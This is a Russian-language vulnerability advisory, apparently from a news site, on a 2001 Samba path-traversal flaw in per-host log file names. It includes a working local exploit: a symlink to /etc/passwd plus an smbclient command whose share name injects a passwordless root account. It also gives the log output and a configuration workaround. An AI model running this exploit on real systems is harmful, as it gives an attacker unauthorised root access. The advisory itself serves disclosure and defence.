Недостаточная проверка правильности
параметра и опасная конфигурация,
используемая по умолчанию, делают
многочисленные системы, использующие Samba
совместно с file sharing, уязвимыми для удаленных
атак. Из-за недостаточной проверки
правильности NetBIOS имени   компьютера
во входящих SMB запросах, вместе с заданной
по умолчанию конфигурацией, самба daemon
позволяет отдаленным нападавшим создавать
SMB журналы сеанса (*.log), с содержанием,
указывающим на директории более высокого
уровня. На уязвимой платформе, по умолчанию,
каждая SMB сессия создает лог файл:

/var/log/samba/<netbios-name>.log. 

Если атакующий заходит с компьютера 'FOOBAR',
логи будут записываться в /var/log/foobar.log.
Теперь, если netbios имя атакующего будет ./../../evil,
то система также создаст /evil.log файл, но уже в
директории более высокого уровня, это и
есть главная ошибка. Эту уязвимость
возможно использовать при условии, если
следующие установки присутствуют в файле
smb.conf :

log file = /var/log/samba/%m.log

которая является по умолчанию в
большинстве LINUX платформ. Но на некоторых
системах конфигурация может быть такой:

log file = /usr/local/samba/var/log.%m

В этом случае (например FreeBSD), нельзя
использовать эту уязвимость.

Реализация ошибки

Это пример сценария локальной атаки для
получения повышенных привилегий:

ln -s /etc/passwd /tmp/x.log
$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`"
-n ../../../tmp/x -N

Где NIMUE - соответствует имени локального
хоста (при этом могут быть возвращены
несколько ошибок).

$ su toor
#

Использовать эту атаку довольно просто: - Samba daemon пытается обратиться к лог файлам для хоста, подставляющегося себя как ' ../../../tmp/x '. Это транслирует функцию open() на /var/log/samba/../../../tmp/x.log. Таким образом, файл /tmp/x.log открыт в режиме O_APPEND, после предварительно созданного символьного линка на /etc/passwd
- все, путь свободен. Тогда, анонимная попытка устанавливает несуществующий share named "\ntoor::0:0::/:/bin/sh\n" в "/tmp/x.log" или, если Вы предпочитаете, в /etc/passwd.

Сообщение об ошибках смотрит этот путь:

[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X (925)
Rejecting user 'lcamtuf': authentication failed
[2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
../../../tmp/x (192.233.133.108) couldn't find service
toor::0:0::/:/bin/sh

последняя строка, очевидно, разрешает /bin/su
или /bin/login. 

В качестве временного решения следует
изменить формат Лог файлов и дождаться
официального патча:
http://us1.samba.org/samba/whatsnew/macroexploit.html

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии